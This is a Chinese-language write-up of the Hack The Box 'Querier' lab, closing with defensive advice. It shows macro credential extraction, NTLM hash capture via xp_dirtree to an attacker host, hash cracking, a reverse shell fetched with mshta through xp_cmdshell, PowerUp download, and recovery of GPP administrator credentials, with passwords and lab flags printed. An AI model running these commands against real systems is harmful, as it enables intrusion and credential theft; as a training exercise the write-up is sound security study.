[Meachines] [Medium] Querier XLSM宏+MSSQL NTLM哈希窃取(xp_dirtree)+GPP凭据泄露
字数 1341 2025-08-20 18:18:10
MSSQL渗透测试实战教学:从XLSM宏到NTLM哈希窃取与GPP凭据泄露
1. 信息收集阶段
1.1 初始扫描
使用Nmap进行端口扫描:
nmap -p- 10.10.10.125 --min-rate 1000 -sC -sV -Pn
发现开放端口:
- 135/tcp: Microsoft Windows RPC
- 139/tcp: NetBIOS会话服务
- 445/tcp: Microsoft-DS (SMB)
- 1433/tcp: Microsoft SQL Server 2017
- 5985/tcp: WinRM (HTTP API)
- 47001/tcp: HTTP
- 49664-49671/tcp: RPC端口
1.2 SMB枚举
使用smbmap检查共享:
smbmap -H 10.10.10.125 -u 1
发现"Reports"共享,下载文件:
smbclient //10.10.10.125/Reports
smb: \> get "Currency Volume Report.xlsm"
2. XLSM宏分析
2.1 使用olevba分析宏
olevba Currency\ Volume\ Report.xlsm
发现关键VBA代码:
Private Sub Connect()
Dim conn As ADODB.Connection
Dim rs As ADODB.Recordset
Set conn = New ADODB.Connection
conn.ConnectionString = "Driver={SQL Server};Server=QUERIER;Trusted_Connection=no;Database=volume;Uid=reporting;Pwd=PcwTWTHRwryjc$c6"
conn.ConnectionTimeout = 10
conn.Open
If conn.State = adStateOpen Then
Set rs = conn.Execute("SELECT * FROM volume;")
Sheets(1).Range("A1").CopyFromRecordset rs
rs.Close
End If
End Sub
提取到凭据:
- 用户名: reporting
- 密码: PcwTWTHRwryjc$c6
3. MSSQL渗透
3.1 初始连接尝试
使用impacket工具连接MSSQL:
impacket-mssqlclient reporting@10.10.10.125 -windows-auth
3.2 NTLM哈希窃取技术
- 启动Responder监听:
responder -I tun0
- 在MSSQL中执行xp_dirtree触发NTLM认证:
EXEC master..xp_dirtree '\\10.10.16.9\GOT', 1, 1;
获取到的NTLM哈希:
mssql-svc::QUERIER:50c6614a98bf4210:38E42F28AC9CC4D076EAE043ACF06663:010100000000000000CCDF3A940CDB01D9A0DA5084739BBA0000000002000800410042003200380001001E00570049004E002D00310050003100350059003100530043004C004C005A0004003400570049004E002D00310050003100350059003100530043004C004C005A002E0041004200320038002E004C004F00430041004C000300140041004200320038002E004C004F00430041004C000500140041004200320038002E004C004F00430041004C000700080000CCDF3A940CDB0106000400020000000800300030000000000000000000000000300000CF1051A0C66E4A690D3EFD4D473408519FDB0145FBCD96435ABD6BAB0E0D5A2E0A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310036002E003900000000000000000000000000
- 使用hashcat破解:
hashcat -m 5600 svc /usr/share/wordlists/rockyou.txt --force
破解结果:
- 用户名: mssql-svc
- 密码: corporate568
3.3 获取系统权限
- 使用新凭据连接MSSQL:
impacket-mssqlclient mssql-svc:'corporate568'@10.10.10.125 -windows-auth
- 启用xp_cmdshell:
enable_xp_cmdshell
- 执行系统命令验证权限:
xp_cmdshell whoami
- 使用koadic获取反向shell:
xp_cmdshell "mshta http://10.10.16.9:9999/maW6M"
- 获取user flag:
42413863de7ecbfa91a1e935705940cd
4. 权限提升
4.1 使用PowerUp.ps1进行枚举
- 下载PowerUp.ps1:
curl -o C:\\Users\Public\Downloads\PowerUp.ps1 http://10.10.16.9/PowerUp.ps1
- 执行检查:
C:\\Users\Public\Downloads\PowerUp.ps1 && Invoke-AllChecks
关键发现:
- 可修改的服务:UsoSvc
- GPP凭据泄露路径:
C:\ProgramData\Microsoft\Group Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\Groups\Groups.xml
4.2 GPP凭据泄露
从Groups.xml文件中提取的凭据:
- 用户名: Administrator
- 密码: MyUnclesAreMarioAndLuigi!!1!
4.3 获取管理员权限
使用psexec获取系统权限:
impacket-psexec Administrator@10.10.10.125
获取root flag:
8f359d26d9cfd60e2f5fcbcb98239102
5. 关键知识点总结
-
XLSM宏分析:
- 使用olevba工具分析Excel宏
- 提取硬编码的数据库凭据
-
MSSQL渗透技术:
- 使用xp_dirtree存储过程触发NTLM认证
- Responder工具捕获NTLM哈希
- Hashcat破解NTLM哈希
-
权限提升方法:
- 启用xp_cmdshell获取系统命令执行权限
- 使用koadic获取交互式shell
-
GPP凭据泄露:
- 组策略首选项(GPP)中存储的凭据
- 默认加密密钥已公开,可解密获取明文密码
-
PowerUp.ps1使用:
- 全面的Windows权限提升检查工具
- 可识别可修改服务、路径劫持等漏洞
6. 防御建议
-
宏安全:
- 禁用不必要的宏执行
- 对必须使用的宏进行数字签名
-
MSSQL安全:
- 禁用不必要的存储过程(xp_dirtree, xp_cmdshell等)
- 使用最小权限原则配置数据库账户
-
NTLM安全:
- 尽可能禁用NTLM,使用Kerberos
- 配置SMB签名要求
-
GPP安全:
- 删除遗留的Groups.xml文件
- 使用LAPS管理本地管理员密码
-
权限管理:
- 定期审核服务账户权限
- 实施特权账户管理解决方案